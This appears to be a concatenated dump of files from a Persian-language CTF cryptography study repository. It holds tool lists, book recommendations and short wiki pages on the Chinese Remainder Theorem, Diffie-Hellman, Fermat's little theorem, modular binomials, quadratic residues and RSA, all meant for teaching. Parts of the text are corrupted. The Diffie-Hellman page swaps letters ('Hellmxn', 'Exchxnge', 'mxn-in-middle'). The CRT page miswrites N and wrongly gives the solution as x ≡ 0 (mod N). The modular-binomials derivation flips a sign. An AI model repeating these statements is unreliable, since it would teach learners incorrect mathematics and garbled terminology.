install PyCryptodome gmpy2 pwntools 17 | ``` 18 | 19 | ### SageMath 20 | سیستمی با ویژگی هایی که بسیاری از جنبه های ریاضیات از جمله جبر، ترکیبات، نظریه گراف، نظریه گروه، تجزیه و تحلیل عددی، نظریه اعداد، حساب دیفرانسیل و انتگرال و آمار را پوشش می دهد 21 | و همچنین این سیستم منبع باز دارای پیشرفته ترین ابزار با پشتیبانی از رمزنگاری مدرن است و بر روی پایتون ساخته شده است. 22 | 23 | ### CryptoHack Docker Image 24 | 25 | اگر Docker رو نصب دارید فقط کافیه دستور زیر رو توی ترمنیال اجرا کنید (این Docker Image توسط تیم CryptoHack.org ساخته شده و تقریبا هر چیزی که لازم دارید رو درونش داره): 26 | 27 | ```bash 28 | > docker run -p 127.0.0.1:8888:8888 -it hyperreality/cryptohack:latest 29 | ``` 30 | 31 | ### ابزارهای آنلاین 32 | - [Discrete Logarithm](https://www.alpertron.com.ar/DILOG.HTM) 33 | - [Sage](https://sagecell.sagemath.org/) 34 | - [factordb](https://factordb.com/) 35 | - [quipqiup](https://quipqiup.com/) 36 | - [Vigenère Autokey solver](https://www.guballa.de/) 37 | 38 | ### ابزارهای متفرقه 39 | 40 | - [RSACTFTool](https://github.com/RsaCtfTool/RsaCtfTool) 41 | - [RSATool](https://github.com/ius/rsatool) 42 | - [XORTool](https://github.com/hellman/xortool) 43 | - [Yafu](https://github.com/bbuhrow/yafu) 44 | - [Hash_extender](https://github.com/iagox86/hash_extender) 45 | - [cryptohack-docker](https://github.com/cryptohack/cryptohack-docker) 46 | 47 | 48 | --- 49 | 50 | !!! نویسنده 51 | [تیم فلگ موتوری](https://github.com/flagmotori) 52 | 53 | -------------------------------------------------------------------------------- /docs/crypto/crypto.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/crypto.png -------------------------------------------------------------------------------- /docs/crypto/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/file-lock-outline 3 | 4 | tags: 5 | - رمزنگاری 6 | - رمزنگاری در CTF 7 | - انواع چالش رمزنگاری 8 | - ریاضیات رمزنگاری 9 | --- 10 | 11 | # رمزنگاری 12 | 13 | رمزنگاری به هنر نوشتن رمزها و کدهای مخفی گفته می‌شود. رمزهای عبور، اطلاعات بانکی، ارسال و دریافت پیام در پیام‌رسان‌ها و هر چیزی که شامل **انتقال و ذخیره اطلاعات** در دنیای اینترنتی امروز باشد نیاز به **رمزنگاری** دارد. 14 | همان‌طور که هیچ الگوریتم یا سیستمی کاملا امن نیست، رمزنگاری‌های موجود (متقارن، نامتقارن، امضای دیجیتال) نیز ممکن است دارای نقص‌هایی باشند. هدف چالش‌های رمزنگاری در مسابقه‌های CTF ایجاد آشنایی با این نقص‌ها و بالا بردن دانش افراد در زمینه مفاهیم پایه‌ای رمزنگاری یعنی مباحث ریاضی آن‌ها است. 15 | این چالش‌ها شامل **شکستن الگوریتم رمزنگاری**، **رمزگشایی متون رمزی** یا **دور زدن الگوریتم‌های رمزنگاری** در سامانه‌ها و پروتکل‌های مختلف است که به درستی پیاده نشده‌اند. با این حال، بسیاری از این چالش‌ها تنها به استفاده نادرست از الگوریتم‌های رمزنگاری می‌پردازند که نیاز به دانش عمیقی از روابط ریاضی آنها ندارد. 16 | 17 |
18 | ![crypto.png](crypto.png){ width=750px height=600px } 19 |
20 | 21 | 22 | ## انواع چالش رمزنگاری در CTF 23 | 24 | الگوریتم‌ها و طرح‌های رمزنگاری دارای انواع مختلفی هستند. ما در این جا فارغ از نوع و کاربرد آن‌ها، تنها چالش‌های رمزنگاری در مسابقات CTF را به دو دسته کلی تقسیم می‌کنیم: 25 | 26 | ### ۱- مبتنی بر مفاهیم ریاضی 27 | 28 | این چالش‌ها صرفا به مفاهیم پایه‌ای ریاضی متمرکز هستند و نیاز به حل یک مسئله ریاضی برای آن چالش رمزنگاری دارند. برای بدست آوردن پرچم در این نوع چالش‌ها، شما نیاز به داشتن دانش کافی در مباحث ریاضیات رمزنگاری مانند محاسبات پیمانه‌ای، لگاریتم‌های گسسته، معادلات چندجمله‌ای، منحنی‌های بیضوی و ریاضیات مشبکه (Lattice) دارید. 29 | 30 | ### ۲- مبتنی بر خطای پیاده‌سازی 31 | 32 | برخی اوقات نفوذها و شکستن رمزنگاری‌های موجود در یک سامانه به دلیل نقص در خود الگوریتم رمزنگاری نیست بلکه عدم تجربه کافی در بکارگیری درست این الگوریتم‌ها، سبب ایجاد آسیب‌پذیری در یک سامانه مبتنی بر رمزنگاری می‌شود. بنابراین در این نوع چالش‌ها، نیاز به دانش عمیق در مورد آن رمزنگاری نیست و تنها کافی است که نقص پیاده سازی را کشف و از آن برای دور زدن رمزنگاری استفاده کنیم. 33 | 34 | اگرچه چالش‌های رمزنگاری‌ شاید بخاطر روابط ریاضی پشت آن دشوار بنظر برسد، اما نباید از حل این چالش‌ها دلسرد شد زیرا این چالش‌ها تنها به مباحث ریاضی نمی‌پردازد. در این بخش ما سعی کردیم روی چالش‌های حوزه رمزنگاری CTFها متمرکز شویم و منابع مختلف برای شروع و یادگیری رمزنگاری را معرفی کنیم. همچنین ابزارها و سایت‌های مفیدی که به حل چالش‌های رمزنگاری کمک می‌کنند را معرفی خواهیم کرد. علاوه بر این‌ها، رایتاپ برخی از چالش‌هایی را که در مسابقات مختلف شرکت می‌کنیم را منتشر خواهیم کرد تا افراد علاقه‌مند به پیشرفت در رمزنگاری کمک کند. 35 | 36 | --- -------------------------------------------------------------------------------- /docs/crypto/source/Cryptography-And-Network-Security_Forouzan.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/source/Cryptography-And-Network-Security_Forouzan.jpg -------------------------------------------------------------------------------- /docs/crypto/source/Introduction-to-Mathematical-Cryptography_Hoffstein.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/source/Introduction-to-Mathematical-Cryptography_Hoffstein.jpg -------------------------------------------------------------------------------- /docs/crypto/source/Secret History The Story of Cryptology.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/source/Secret History The Story of Cryptology.png -------------------------------------------------------------------------------- /docs/crypto/source/index.md: -------------------------------------------------------------------------------- 1 | # منابع یادگیری رمزنگاری 2 | 3 | راستش تا دلتون بخواد ما کتاب و ویدئو آموزشی داریم که فقط با یک جستجو ساده توی اینترنت میتونید پیدا کنید. ولی خب یکسری منابع هستن که خیلی معروف و خودمون استفاده کردیم و گفتیم چقدر خوب میشه با شما به اشتراک بزاریم :) 4 | 5 | ## پلتفرم یادگیری و حل چالش‌ها 6 | - #### CryptoHack 7 | - #### Cryptopals 8 | - #### RootMe 9 | ## ویدئوهای آموزشی 10 | - #### Neso Academy 11 | 12 | --- 13 | 14 | ## معرفی کتاب 15 | - ### An Introduction to Mathematical Cryptography by Jeffrey Hoffstein 16 | Introduction-to-Mathematical-Cryptography_Hoffstein 17 | 18 | این کتاب یکی از کتاب‌های پرطرفدار و بسیار توصیه شده در جامعه رمزنگاری است. دلیل آن این است که مفاهیم پیچیده و عمیق ریاضی رمزنگاری را به زبان ساده و همراه با مثال و تمرین بیان می‌کند تا درک مطلب خواننده را افزایش دهد. 19 | این کتاب عمدتاً بر روی سیستم‌های رمزنگاری کلید عمومی و امضای دیجیتال و همچنین ریاضیات آن‌ها تمرکز می‌کند. خواننده‌ای که بر مطالب این کتاب تسلط داشته باشد، نه تنها برای مطالعه بیشتر در رمزنگاری به خوبی آماده می‌شود، بلکه به درک عمیق اصول ریاضی که رمزنگاری مدرن بر آن استوار است دست خواهد یافت و می‌تواند به حل چالش‌های CTF مبتنی بر مفاهیم ریاضی کمک شایانی کند. 20 | 21 | --- 22 | - ### Cryptography and Network Security by Behrouz Forouzan 23 | Cryptography-And-Network-Security_Forouzan 24 | این کتاب از یک رویکرد قدم به قدم برای آموزش رمزنگاری و امنیت شبکه استفاده می‌کند. شما در ابتدای کار به هیچ دانش ریاضی خاصی مانند نظریه اعداد یا ... نیاز ندارید چرا که در طول مطالعه کتاب اون رو بدست میارید، از آنجایی که رمزنگاری و امنیت شبکه را نمی‌توان بدون پیشینه در زمینه ریاضیات مورد بحث قرار داد، این موضوعات در فصل‌های ۲، ۴ و ۹ مورد بحث قرار می‌گیرند. خوانندگانی که با این حوزه‌های ریاضیات آشنا هستند می‌توانند این فصل‌ها را نادیده بگیرند. فصل ۱ تا ۱۵ رمزنگاری را مورد بحث قرار می‌دهد. در ضمن فصل‌های ۱۶ تا ۱۸ امنیت شبکه مورد بحث قرار می‌گیرد. 25 | 26 | --- 27 | - ### Secret History: The Story of Cryptology by Craig P. Bauer 28 | Secret_History_The_Story_of_Cryptology 29 | این کتاب به سبک سرگرم‌ کننده نوشته شده که در آن داستان پیدایش و تحول علم رمزنگاری را در گذر زمان بررسی می‌کند. می‌توانیم آن را برای مطالعه در اوقات فراغت برای کسی که علاقه‌مند به دانش بیشتر در مورد تاریخچه علم رمزنگاری است توصیه کنیم. این کتاب سیر تاریخی پیدایش انواع روش‌های رمزنگاری از زمان یونان باستان، قرون وسطا تا رمزنگاری‌های مدرن امروزی و حتی رمزنگاری‌های پساکوانتمی آینده را بررسی می‌کند. کتاب زیاد به مسائل پیچیده ریاضی نمی‌پردازد و با بیانی ساده و آوردن مثال‌هایی از رمزنگاری‌های هر دوره و روش شکستن آن‌ها خواننده ناآشنا به این علم را با آن آشنا می‌کند. گاهی در مسابقات CTF سوالاتی از رمزنگاری‌های گذشته مطرح می‌شود که این کتاب می‌تواند به حل آن‌ها کمک کند. 30 | 31 | !!! نویسنده 32 | [تیم فلگ موتوری](https://github.com/flagmotori) 33 | 34 | -------------------------------------------------------------------------------- /docs/crypto/wiki/CRT/chinese-remainder-theorem.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - Chinese Remainder Theorem 5 | - CRT 6 | --- 7 | 8 | ## قضیه Chinese Remainder 9 | 10 | قضیه Chinese Remainder نشان میدهد که اگر یک دستگاه همنشتی خطی به فرم $x\equiv a \pmod{m}$ با این شرط که پیمانه ها دو به دو نسبت به اول باشند آنگاه یک پاسخ منحصر به فرد مانند $x$ به پیمانه ضرب پیمانه های معادلات وجود دارد. 11 | این قضیه به ویژه در حل سیستم های معادلات پیمانه ای همزمان که حل آنها به صورت جداگانه دشوار یا غیرممکن است مفید است. برای مثال، اگر دو رابطه همنهشتی داشته باشیم: 12 | 13 | $$x \equiv 3 \pmod{4}$$ 14 | 15 | $$x \equiv 2 \pmod{5}$$ 16 | 17 | با استفاده از CRT میتوانیم یک جواب منحصر به فرد مانند $x$ به پیمانه 20 که هر دو رابطه همنهشتی را ارضا میکند بیابیم. 18 | 19 | 20 | این قضیه کاربردهای زیادی در رمزنگاری، نظریه اعداد و علوم کامپیوتر دارد. به عنوان مثال، در رمزگذاری RSA برای سرعت بخشیدن به محاسبه معکوس پیمانه ای و در ساخت سیستم های رمزنگاری کلید عمومی بر اساس فاکتورگیری اعداد صحیح استفاده می شود. 21 | 22 | ## الگوریتم 23 | 24 | ما به دو متغیر نیاز داریم: 25 | 26 | $$N = n_1 \cdot n_1 \cdot ... \cdot n_i$$ 27 | 28 | $$E = \left[ \frac{N}{n_1}, \frac{N}{n_2}, ..., \frac{N}{n_i} \right]$$ 29 | 30 | برای هر عضو از $E$ باید معکوس به پیمانه $n_i$ مانند $y$ محاسبه شود یعنی: 31 | 32 | $$E_i \cdot y \equiv 1 \pmod{n_i}$$ 33 | 34 | و یک جواب ما به این صورت خواهد بود که: 35 | 36 | $$x = a_1 \cdot E_1 \cdot y_1 + a_2 \cdot E_2 \cdot y_2 + ... + a_i \cdot E_i \cdot y_i$$ 37 | 38 | و جواب منحصر به فرد ما $x \equiv 0 \pmod{N}$ خواهد بود. 39 | 40 | 41 | ## پیاده سازی 42 | 43 | ```py linenums="1" title="example.sage" 44 | b_list = [2, 3, 10] 45 | n_list = [5, 7, 11] 46 | x = CRT(b_list, n_list) 47 | # x = 87 48 | ``` 49 | 50 | --- 51 | 52 | !!! نویسنده 53 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/dhke/dhke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/wiki/dhke/dhke.png -------------------------------------------------------------------------------- /docs/crypto/wiki/dhke/diffie-hellman-key-exchange.md: -------------------------------------------------------------------------------- 1 | --- 2 | txgK: 3 | - Crypto 4 | - Diffie Hellmxn 5 | - Diffie Hellmxn Key Exchxnge 6 | - Modulxr xrithmetic 7 | --- 8 | 9 | ## تبادل کلید دیفی-هلمن 10 | 11 | تبادل کلید **دیفی-هلمن (Diffie-Hellmxn Key Exchxnge)** یک روش رمزنگاری است که به دو طرف اجازه می‌دهد تا یک کلید مشترک را از طریق یک کانال ناامن به اشتراک بگذارند. این کلید مشترک سپس می‌تواند برای رمزنگاری و ارتباط امن بین طرفین استفاده شود. تبادل کلید دیفی-هلمن پایه بسیاری از پروتکل‌های ارتباطی امن است، مانند **SSL/TLS** که برای ایمن‌سازی ترافیک اینترنت استفاده می‌شود. 12 | 13 | 14 | ### مفاهیم کلیدی 15 | 16 | - **تبادل کلید نامتقارن**: دیفی-هلمن خود یک مکانیزم رمزنگاری نیست، بلکه روشی برای تولید یک کلید مشترک با استفاده از رمزنگاری نامتقارن است. این روش به دو طرف اجازه می‌دهد بدون نیاز به ارسال مستقیم کلید از طریق کانال ارتباطی، یک کلید مشترک ایجاد کنند. 17 | 18 | - **پارامترهای عمومی**: 19 | - یک **عدد اول** \( p \) و یک **پایه (یا مولد)** \( g \) انتخاب می‌شوند. این مقادیر می‌توانند به صورت عمومی به اشتراک گذاشته شوند بدون اینکه امنیت کاهش یابد. 20 | 21 | - **فرایند تبادل کلید**: 22 |
23 | ![dhke](dhke.png) 24 |
25 | - **مرحله ۱**: هر طرف یک کلید خصوصی تولید می‌کند. فرض کنیم کلید خصوصی آلیس \( x \) و کلید خصوصی باب \( y \) باشد. 26 | - **مرحله ۲**: آلیس کلید عمومی خود را به صورت \( R_1 = g^x \pmod{p} \) محاسبه می‌کند و باب نیز کلید عمومی خود را به صورت \( R_2 = g^y \pmod{p} \) محاسبه می‌کند. 27 | - **مرحله ۳**: آلیس کلید عمومی \( R_1 \) را به باب ارسال می‌کند و باب نیز کلید عمومی \( R_2 \) را به آلیس می‌فرستد. 28 | - **مرحله ۴**: هر دو طرف کلید مشترک را با توان‌دهی به کلید عمومی طرف دیگر محاسبه می‌کنند: 29 | - آلیس کلید مشترک را به صورت \( K = R_2^x \pmod{p} \) محاسبه می‌کند. 30 | - باب کلید مشترک را به صورت \( K = R_1^y \pmod{p} \) محاسبه می‌کند. 31 | 32 | از آنجا که \( K = (g^y)^x \pmod{p} = (g^x)^y \pmod{p} \)، هر دو طرف اکنون یک مقدار مشترک \( K \) دارند که می‌تواند به عنوان کلید برای رمزنگاری متقارن استفاده شود. 33 | 34 | ### مثال 35 | 36 | فرض کنیم \( p = 23 \) (یک عدد اول) و \( g = 5 \): 37 | 38 | - **مرحله ۱**: آلیس \( x = 6 \) (کلید خصوصی) و باب \( y = 15 \) (کلید خصوصی) را انتخاب می‌کنند. 39 | - **مرحله ۲**: آلیس \( R_1 = 5^6 \pmod{23} = 8 \) را محاسبه می‌کند و باب \( R_2 = 5^{15} \pmod{23} = 19 \) را محاسبه می‌کند. 40 | - **مرحله ۳**: آلیس و باب کلیدهای عمومی خود را مبادله می‌کنند: \( R_1 = 8 \) و \( R_2 = 19 \). 41 | - **مرحله ۴**: آلیس \( K = 19^6 \pmod{23} = 2 \) و باب \( K = 8^{15} \pmod{23} = 2 \) را محاسبه می‌کنند. 42 | 43 | اکنون آلیس و باب هر دو یک کلید مشترک \( K = 2 \) دارند. 44 | 45 | ### امنیت 46 | - امنیت دیفی-هلمن به دشواری حل **مسئله لگاریتم گسسته** وابسته است که با اعداد اول بزرگ و مولدهای مناسب، به راحتی محاسبه نمی‌شود. 47 | - این روش در برابر حملات **mxn-in-middle** آسیب‌پذیر است، مگر اینکه مکانیزم‌های احراز هویت در کنار آن استفاده شوند. 48 | 49 | --- 50 | 51 | !!! نویسنده 52 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/euclidean-algorithm/euclidean-algorithm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/wiki/euclidean-algorithm/euclidean-algorithm.png -------------------------------------------------------------------------------- /docs/crypto/wiki/euclidean-algorithm/xeuclidean-algorithm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/crypto/wiki/euclidean-algorithm/xeuclidean-algorithm.png -------------------------------------------------------------------------------- /docs/crypto/wiki/fermat-little-theorem/fermat-little-theorem.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - Fermat's little Theorem 5 | - Modular arithmetic 6 | --- 7 | 8 | ## قضیه Fermat's little 9 | 10 | ???+ note "قضیه Fermat's little" 11 | 12 | در نظریه اعداد این قضیه نشان میدهد که اگر $p$ عددی اول باشد آنگاه برای هر عدد صحیح $a$ عدد $a^{p} - a$ یک عدد صحیح مضربی از $p$ هست. اگر بخواهیم به صورت حساب پیمانه ای نمایش بدهیم داریم: 13 | 14 | $$ 15 | a^{p}\equiv a \pmod{p} 16 | $$ 17 | 18 | ## مثال 19 | 20 | برای مثال اگر $a=2$ و $p=7$ آنگاه 21 | 22 | $$2^{7} - 2\equiv 126 \equiv 7 \times 18 \equiv 0 \pmod{7}$$ 23 | 24 | ???+ tip "نکته مهم" 25 | 26 | در حالتی که $p$ و $a$ نسبت به اول باشند این قضیه معادل است با : 27 | 28 | $$ 29 | a^{p-1}\equiv 1 \pmod{p} 30 | $$ 31 | 32 | برای مثال اگر $a=2$ و $p=7$ آنگاه 33 | 34 | $$2^{6} \equiv 64 \equiv 7 \times 9 + 1 \equiv 1 \pmod{7}$$ 35 | 36 | --- 37 | 38 | !!! نویسنده 39 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/modular-binomials/modular-binomials.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - modular binomials 5 | - Modular arithmetic 6 | --- 7 | 8 | ## دو جمله ای پیمانه ای 9 | 10 | دو جمله ای پیمانه ای یک مسئله ریاضی است که در آن یک عبارت دو جمله ای از شکل: 11 | 12 | $$ x \equiv (a+b)^e \pmod{N} $$ 13 | 14 | که $a$ و $b$ اعداد صحیح و عدد صحیح مثبت $e$ به عنوان نما و عدد صحیح مثبت $N$ به عنوان پیمانه میباشد. 15 | 16 | 17 | ## جستجو p و q 18 | 19 | مسئله دو جمله ای پیمانه ای می تواند به شکل زیر باشد: 20 | 21 | $$ c_1 \equiv (a_1 \cdot p + b_1 \cdot q )^{e_1} \pmod{N} $$ 22 | 23 | $$ c_2 \equiv (a_2 \cdot p + b_2 \cdot q )^{e_2} \pmod{N} $$ 24 | 25 | که $c_1$ , $c_2$ , $a_1$, $a_2$, $b_1$, $b_2$, $e_1$, $e_2$, $N$ داده شده و $N=p \times q$ و هدف یافتن $p$ و $q$ است. 26 | 27 | در ابتدا میایم و $c_1$ رو به توان $e_2$ میرسونیم: 28 | 29 | $$ 30 | {c_1‌}^{e_2} \equiv (a_1 \cdot p + b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 31 | $$ 32 | 33 | از طرفی با توجه به قضیه دو جمله ای داریم: 34 | 35 | $$ 36 | {c_1‌}^{e_2} \equiv (a_1 \cdot p)^{e_1 \cdot e_2} + (b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 37 | $$ 38 | 39 | حالا میایم و دو طرف رو در ${a_1}^{-e_1 \cdot e_2}$ ضرب میکنیم پس داریم: 40 | 41 | $$ 42 | {a_1}^{-e_1\cdot e_2} \cdot {c_1‌}^{e_2} \equiv {a_1}^{-e_1\cdot e_2} \cdot (a_1 \cdot p)^{e_1 \cdot e_2} + {a_1}^{-e_1\cdot e_2} \cdot (b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 43 | $$ 44 | 45 | با اندکی ساده سازی: 46 | 47 | \begin{equation} 48 | {a_1}^{-e_1\cdot e_2} \cdot {c_1‌}^{e_2} \equiv p^{e_1 \cdot e_2} + {a_1}^{-e_1\cdot e_2} \cdot (b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 49 | \label{eq:1} 50 | \end{equation} 51 | 52 | و همه مراحل گفته شده را این بار برای $c_2$ تکرار میکنیم در نهایت: 53 | 54 | \begin{equation} 55 | {a_2}^{-e_1\cdot e_2} \cdot {c_2}^{e_1} \equiv p^{e_1 \cdot e_2} + {a_2}^{-e_1\cdot e_2} \cdot (b_2 \cdot q )^{e_1 \cdot e_2} \pmod{N} 56 | \label{eq:2} 57 | \end{equation} 58 | 59 | سپس نتیجه بدست آمده در $\ref{eq:1}$ را از $\ref{eq:2}$ کم میکنیم: 60 | 61 | \begin{equation} 62 | {a_2}^{-e_1\cdot e_2} \cdot {c_2}^{e_1} - {a_1}^{-e_1\cdot e_2} \cdot {c_1‌}^{e_2} 63 | \label{eq:3} 64 | \end{equation} 65 | 66 | $$ 67 | \equiv p^{e_1 \cdot e_2} + {a_2}^{-e_1\cdot e_2} \cdot (b_2 \cdot q )^{e_1 \cdot e_2} - p^{e_1 \cdot e_2} + {a_1}^{-e_1\cdot e_2} \cdot (b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 68 | $$ 69 | 70 | $$ 71 | \equiv {a_2}^{-e_1\cdot e_2} \cdot (b_2 \cdot q )^{e_1 \cdot e_2} + {a_1}^{-e_1\cdot e_2} \cdot (b_1 \cdot q )^{e_1 \cdot e_2} \pmod{N} 72 | $$ 73 | 74 | بنابراین $q$ برابر خواهد بود با: 75 | 76 | $$ 77 | q = \text{GCD}({a_2}^{-e_1\cdot e_2} \cdot {c_2}^{e_1} - {a_1}^{-e_1\cdot e_2} \cdot {c_1‌}^{e_2}, N) 78 | $$ 79 | 80 | و همین کار را برای بدست آوردن $p$ تکرار میکنیم که به عنوان تمرین به خواننده واگذار می شود. 81 | 82 | ## مثال 83 | 84 | !!! example "" 85 | 86 | برای تمرین بیشتر به شما پیشنهاد می شود رایتاپ مربوط به چالش RSA-GCD در مسابقه 0xL4ughCTF را مطالعه کنید. 87 | 88 | --- 89 | 90 | !!! نویسنده 91 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/quadratic-residues/quadratic-residues.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - quadratic residue 5 | - legendre symbol 6 | --- 7 | 8 | ## باقی مانده درجه دوم 9 | 10 | در نظریه اعداد عدد صحیح $q$ باقی مانده درجه دوم یا quadratic residue می گوییم اگر عدد صحیح مانند $x$ وجود داشته باشد به طوری که: 11 | 12 | $$ 13 | x^{2}\equiv q \pmod{n} 14 | $$ 15 | 16 | در غیر اینصورت آن را غیر باقی مانده درجه دوم یا quadratic non-residue میخوانیم. 17 | 18 | ## خواص 19 | 20 | - **پیمانه اول: اگر** $p$ یک پیمانه فرد اول باشد آنگاه دقیقا $\frac{p+1}{2}$ باقی مانده درجه دوم به پیمانه $p$ وجود دارد. 21 | 22 | - **نماد Legendre**:‌ نماد Legendre یا ($\frac{a}{p}$) برای مشخص کردن این که آیا عدد $a$ یک باقیمانده درجه دوم به پیمانه $p$ هست یا خیر به کار می رود. اگر $a$ یک باقیمانده درجه دوم به پیمانه $p$ باشد آنگاه $\frac{a}{p} = ‌1$ می باشد در غیر این صورت برابر $\frac{a}{p} = ‌-1$ می باشد و اگر $a\equiv 0 \pmod{p}$ بود آنگاه $\frac{a}{p} = ‌0$ می باشد. 23 | 24 | - **خواصی دیگر:** 25 | 26 | ``` 27 | Quadratic Residue * Quadratic Residue = Quadratic Residue 28 | Quadratic Residue * Quadratic Non-residue = Quadratic Non-residue 29 | Quadratic Non-residue * Quadratic Non-residue = Quadratic Residue 30 | ``` 31 | 32 | ## مثال 33 | 34 | در نظر بگیرید $n=7$. اعداد صحیح $0,1,2,3,4,5,6$ همگی تمامی باقیمانده ممکن برای تقسیم بر 7 هستند. 35 | حالا بیاید و بررسی کنیم کدامین از اینها باقی مانده درجه دوم هستند: 36 | 37 | $$0^{2} \equiv 0 \equiv 0 \pmod{7}$$ 38 | 39 | $$1^{2} \equiv 1 \equiv 1 \pmod{7}$$ 40 | 41 | $$2^{2} \equiv 4 \equiv 4 \pmod{7}$$ 42 | 43 | $$3^{2} \equiv 9 \equiv 2 \pmod{7}$$ 44 | 45 | $$4^{2} \equiv 16 \equiv 2 \pmod{7}$$ 46 | 47 | $$5^{2} \equiv 25 \equiv 4 \pmod{7}$$ 48 | 49 | $$6^{2} \equiv 36 \equiv 1 \pmod{7}$$ 50 | 51 | بنابراین باقی مانده درجه دوم به پیمانه 7 اعداد 0,1,2 و 4 هستند. 52 | 53 | --- 54 | 55 | !!! نویسنده 56 | [MohamadAli](https://github.com/wh1te-r0s3) -------------------------------------------------------------------------------- /docs/crypto/wiki/rsa/rsa.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: 3 | - Crypto 4 | - RSA 5 | - Modular arithmetic 6 | --- 7 | 8 | ### توضیح کلی درباره رمزنگاری RSA 9 | 10 | **رمزنگاری RSA** یکی از رایج‌ترین و پرکاربردترین الگوریتم‌های رمزنگاری است. RSA یک **الگوریتم رمزنگاری نامتقارن** است، به این معنی که از دو کلید مختلف استفاده می‌کند: یک **کلید عمومی** برای رمزگذاری و یک **کلید خصوصی** برای رمزگشایی. 11 | 12 | ### مفاهیم اصلی 13 | 14 | - **رمزنگاری نامتقارن**: برخلاف رمزنگاری متقارن (که در آن از یک کلید واحد برای رمزگذاری و رمزگشایی استفاده می‌شود)، در RSA دو کلید مختلف وجود دارد: 15 | - **کلید عمومی** که به‌صورت عمومی در دسترس است و برای رمزگذاری استفاده می‌شود. 16 | - **کلید خصوصی** که محرمانه نگه داشته می‌شود و برای رمزگشایی به کار می‌رود. 17 | 18 | - **فاکتورگیری از اعداد اول**: امنیت RSA بر پایه سختی فاکتورگیری اعداد مرکب بزرگ به اعداد اول آن‌ها استوار است. کلید عمومی از حاصل‌ضرب دو عدد اول بزرگ (که بخشی از کلید خصوصی هستند) تشکیل می‌شود و فاکتورگیری از این اعداد در ابعاد بزرگ، به صورت محاسباتی بسیار دشوار است. 19 | 20 | ### تولید کلید 21 | 22 | - دو عدد اول بزرگ، \( p \) و \( q \)، انتخاب می‌شوند. 23 | - حاصل‌ضرب آن‌ها \( N = p \times q \) بخش مشترک کلید عمومی و خصوصی است. 24 | - نمایه عمومی \( e \) باید به گونه‌ای انتخاب شود که 1=(\(e,\phi(N)\))GCD 25 | 26 | - در دنیای واقعی معمولاً عدد 65537 به دلیل امنیت و کارایی آن انتخاب می‌شود. 27 | 28 | - نمایه خصوصی \( d \) از طریق معکوس پیمانه ای \( e \) محاسبه می‌شود. 29 | 30 | 31 | ### رمزگذاری و رمزگشایی 32 | 33 | - **رمزگذاری**: پیام (متن ساده) با استفاده از کلید عمومی به رمز تبدیل می‌شود. 34 | - **رمزگشایی**: رمز تولید شده با استفاده از کلید خصوصی به متن اصلی تبدیل می‌شود. RSA بر اساس نظریه اعداد و حساب پیمانه ای است. فرمول اصلی رمزگذاری به صورت زیر است: 35 | 36 | 37 | $$C \equiv M^e \pmod{N}$$ 38 | 39 | - \( C \) متن رمز شده است 40 | - \( M \) متن اصلی (پیام) است 41 | - \( e \) نمایه عمومی است 42 | - \( N \) حاصل ضرب دو عدد اول است 43 | 44 | فرمول رمزگشایی نیز به صورت زیر است: 45 | 46 | $$M \equiv C^d \pmod{N}$$ 47 | 48 | - \( d \) نمایه خصوصی است. 49 | 50 | # 51 | 52 | - دو عدد اول بزرگ، \( p \) و \( q \)، انتخاب می‌شوند. 53 | - حاصل‌ضرب آن‌ها \( N = p \times q \) بخش مشترک کلید عمومی و خصوصی است. 54 | - نمایه عمومی \( e \) باید به گونه‌ای انتخاب شود که 1=(\(e,\phi(N)\))GCD 55 | 56 | - نمایه خصوصی \( d \) از طریق معکوس پیمانه ای \( e \) محاسبه می‌شود. 57 | 58 | 59 | ### مثال RSA 60 | 61 | #### تولید کلید 62 | 63 | - دو عدد اول را انتخاب کنید: \( p = 61 \)، \( q = 53 \). 64 | - محاسبه \( N = p \times q = 61 \times 53 = 3233 \). 65 | - محاسبه \( \phi(N) = (p-1) \times (q-1) = 3120 \). 66 | - انتخاب \( e = 17 \)، که نسبت به 3120 اول است. 67 | - محاسبه \( d \)، معکوس پیمانه ای \( e \) به \( \phi(N) \)، که برابر با \( d = 2753 \) است. 68 | 69 | #### رمزگذاری 70 | 71 | - فرض کنید پیام \( M = 65 \) است. 72 | - متن رمز شده: 73 | 74 | $$C \equiv M^e \equiv 65^{17} \equiv 2790 \pmod{N}$$ 75 | 76 | #### رمزگشایی 77 | 78 | - متن رمز شده \( C = 2790 \). 79 | - پیام اصلی: 80 | 81 | $$M \equiv C^d \equiv 2790^{2753} \equiv 65 \pmod{N}$$ 82 | 83 | 